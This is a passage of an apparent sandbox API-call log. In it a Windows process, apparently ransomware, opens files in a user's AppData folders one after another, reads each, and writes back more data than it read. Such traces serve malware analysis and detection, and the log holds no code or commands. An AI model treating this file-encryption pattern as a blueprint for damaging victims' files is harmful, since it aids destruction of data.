lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesRead=0x354f2bc*=0x5ed, lpOverlapped=0x0) returned 1 [0061.643] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0061.643] WriteFile (in: hFile=0x1cc, lpBuffer=0x2510018*, nNumberOfBytesToWrite=0xb75, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2510018*, lpNumberOfBytesWritten=0x354f2d0*=0xb75, lpOverlapped=0x0) returned 1 [0061.643] CloseHandle (hObject=0x1cc) returned 1 [0061.643] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\024823b39fbeaccdb5c06426a8168e99_6d5cab161a1c65362a913d29be09d91b"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0061.644] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0061.644] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x190 [0061.644] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0061.644] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0061.644] ReleaseMutex (hMutex=0x128) returned 1 [0061.644] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0061.644] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", cchWideChar=65, lpMultiByteStr=0x1e956f4, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", lpUsedDefaultChar=0x0) returned 65 [0061.644] ReadFile (in: hFile=0x1cc, lpBuffer=0x1df4178, nNumberOfBytesToRead=0x190, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df4178*, lpNumberOfBytesRead=0x354f2bc*=0x190, lpOverlapped=0x0) returned 1 [0061.645] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0061.645] WriteFile (in: hFile=0x1cc, lpBuffer=0x2807d38*, nNumberOfBytesToWrite=0x718, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2807d38*, lpNumberOfBytesWritten=0x354f2d0*=0x718, lpOverlapped=0x0) returned 1 [0061.645] CloseHandle (hObject=0x1cc) returned 1 [0061.645] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\5080dc7a65db6a5960ecd874088f3328_2908f682dfc81a793bd240cf29711c77"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0061.646] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0061.646] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x194 [0061.646] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0061.646] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0061.646] ReleaseMutex (hMutex=0x128) returned 1 [0061.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0061.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77", cchWideChar=65, lpMultiByteStr=0x1e956f4, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77", lpUsedDefaultChar=0x0) returned 65 [0061.646] ReadFile (in: hFile=0x1cc, lpBuffer=0x1df4178, nNumberOfBytesToRead=0x194, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df4178*, lpNumberOfBytesRead=0x354f2bc*=0x194, lpOverlapped=0x0) returned 1 [0061.647] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0061.647] WriteFile (in: hFile=0x1cc, lpBuffer=0x2807d38*, nNumberOfBytesToWrite=0x71c, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2807d38*, lpNumberOfBytesWritten=0x354f2d0*=0x71c, lpOverlapped=0x0) returned 1 [0061.647] CloseHandle (hObject=0x1cc) returned 1 [0061.647] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\7d266d9e1e69fa1eefb9699b009b34c8_1d5a876a9113ec07224c45e5a870e3bd"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0061.648] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0061.648] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x198 [0061.648] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0061.648] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0061.648] ReleaseMutex (hMutex=0x128) returned 1 [0061.648] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0061.648] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD", cchWideChar=65, lpMultiByteStr=0x1e956f4, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD", lpUsedDefaultChar=0x0) returned 65 [0061.648] ReadFile (in: hFile=0x1cc, lpBuffer=0x2510038, nNumberOfBytesToRead=0x198, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2510038*, lpNumberOfBytesRead=0x354f2bc*=0x198, lpOverlapped=0x0) returned 1 [0061.649] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0061.649] WriteFile (in: hFile=0x1cc, lpBuffer=0x2807d38*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2807d38*, lpNumberOfBytesWritten=0x354f2d0*=0x720, lpOverlapped=0x0) returned 1 [0061.649] CloseHandle (hObject=0x1cc) returned 1 [0061.649] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8059e9a0d314877e40fe93d8ccfb3c69_f6e15778dc8e326895c606fbfa0392eb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0061.650] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0061.650] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x186 [0061.650] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0061.650] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0061.650] ReleaseMutex (hMutex=0x128) returned 1 [0061.650] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0061.650] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB", cchWideChar=65, lpMultiByteStr=0x1e956f4, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB", lpUsedDefaultChar=0x0) returned 65 [0061.651] ReadFile (in: hFile=0x1cc, lpBuffer=0x1df4178, nNumberOfBytesToRead=0x186, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df4178*, lpNumberOfBytesRead=0x354f2bc*=0x186, lpOverlapped=0x0) returned 1 [0061.652] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0061.652] WriteFile (in: hFile=0x1cc, lpBuffer=0x2807d38*, nNumberOfBytesToWrite=0x70e, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2807d38*, lpNumberOfBytesWritten=0x354f2d0*=0x70e, lpOverlapped=0x0) returned 1 [0061.652] CloseHandle (hObject=0x1cc) returned 1 [0061.652] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\a9e4f776657345b52012ce8e279d314c_183a5be0b233cc1d513955fabecf9450"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0062.853] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0062.853] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x1ae [0062.853] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0062.853] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0062.853] ReleaseMutex (hMutex=0x128) returned 1 [0062.853] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0062.853] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450", cchWideChar=65, lpMultiByteStr=0x1e957a4, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450", lpUsedDefaultChar=0x0) returned 65 [0062.853] ReadFile (in: hFile=0x1b0, lpBuffer=0x2510038, nNumberOfBytesToRead=0x1ae, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2510038*, lpNumberOfBytesRead=0x354f2bc*=0x1ae, lpOverlapped=0x0) returned 1 [0062.854] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0062.854] WriteFile (in: hFile=0x1b0, lpBuffer=0x2807d38*, nNumberOfBytesToWrite=0x736, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2807d38*, lpNumberOfBytesWritten=0x354f2d0*=0x736, lpOverlapped=0x0) returned 1 [0062.854] CloseHandle (hObject=0x1b0) returned 1 [0062.855] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\d47dbd2f9e3365fbbe008d71fb06716f_d33192d58aa9ca2b9097e848e9fe86de"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0062.855] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0062.855] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x198 [0062.855] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0062.855] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0062.855] ReleaseMutex (hMutex=0x128) returned 1 [0062.855] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0062.855] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE", cchWideChar=65, lpMultiByteStr=0x1e957a4, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE", lpUsedDefaultChar=0x0) returned 65 [0062.855] ReadFile (in: hFile=0x1b0, lpBuffer=0x2510038, nNumberOfBytesToRead=0x198, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2510038*, lpNumberOfBytesRead=0x354f2bc*=0x198, lpOverlapped=0x0) returned 1 [0062.856] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0062.856] WriteFile (in: hFile=0x1b0, lpBuffer=0x2807d38*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2807d38*, lpNumberOfBytesWritten=0x354f2d0*=0x720, lpOverlapped=0x0) returned 1 [0062.856] CloseHandle (hObject=0x1b0) returned 1 [0062.857] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\-JSy.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\-jsy.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0062.857] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0062.857] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x13ce2 [0062.857] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0062.857] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0062.857] ReleaseMutex (hMutex=0x128) returned 1 [0062.857] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="-JSy.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0062.857] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="-JSy.png", cchWideChar=8, lpMultiByteStr=0x1e630ec, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-JSy.png", lpUsedDefaultChar=0x0) returned 8 [0062.857] ReadFile (in: hFile=0x1b0, lpBuffer=0x27fd658, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x27fd658*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0062.858] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x12ce2 [0062.858] ReadFile (in: hFile=0x1b0, lpBuffer=0x272d308, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x272d308*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0062.859] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x12ce2 [0062.859] WriteFile (in: hFile=0x1b0, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0062.859] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0062.859] WriteFile (in: hFile=0x1b0, lpBuffer=0x27292d8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x27292d8*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0062.859] CloseHandle (hObject=0x1b0) returned 1 [0062.860] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\aHW97dgoH4YoGsZKkX4.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\ahw97dgoh4yogszkkx4.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0062.860] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0062.860] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x5821 [0062.860] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0062.860] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0062.860] ReleaseMutex (hMutex=0x128) returned 1 [0062.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="aHW97dgoH4YoGsZKkX4.m4a", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0062.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="aHW97dgoH4YoGsZKkX4.m4a", cchWideChar=23, lpMultiByteStr=0x1e78974, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aHW97dgoH4YoGsZKkX4.m4a", lpUsedDefaultChar=0x0) returned 23 [0062.860] ReadFile (in: hFile=0x1b0, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0062.861] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x4821 [0062.861] ReadFile (in: hFile=0x1b0, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0062.861] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x4821 [0062.861] WriteFile (in: hFile=0x1b0, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0062.861] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0062.861] WriteFile (in: hFile=0x1b0, lpBuffer=0x27ff688*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x27ff688*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0062.862] CloseHandle (hObject=0x1b0) returned 1 [0062.862] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0063.235] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0063.235] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x1d6 [0063.235] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0063.235] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0063.236] ReleaseMutex (hMutex=0x128) returned 1 [0063.236] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.sol", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0063.236] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.sol", cchWideChar=12, lpMultiByteStr=0x1e6340c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.sol", lpUsedDefaultChar=0x0) returned 12 [0063.236] ReadFile (in: hFile=0x1d4, lpBuffer=0x1e4cf28, nNumberOfBytesToRead=0x1d6, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: 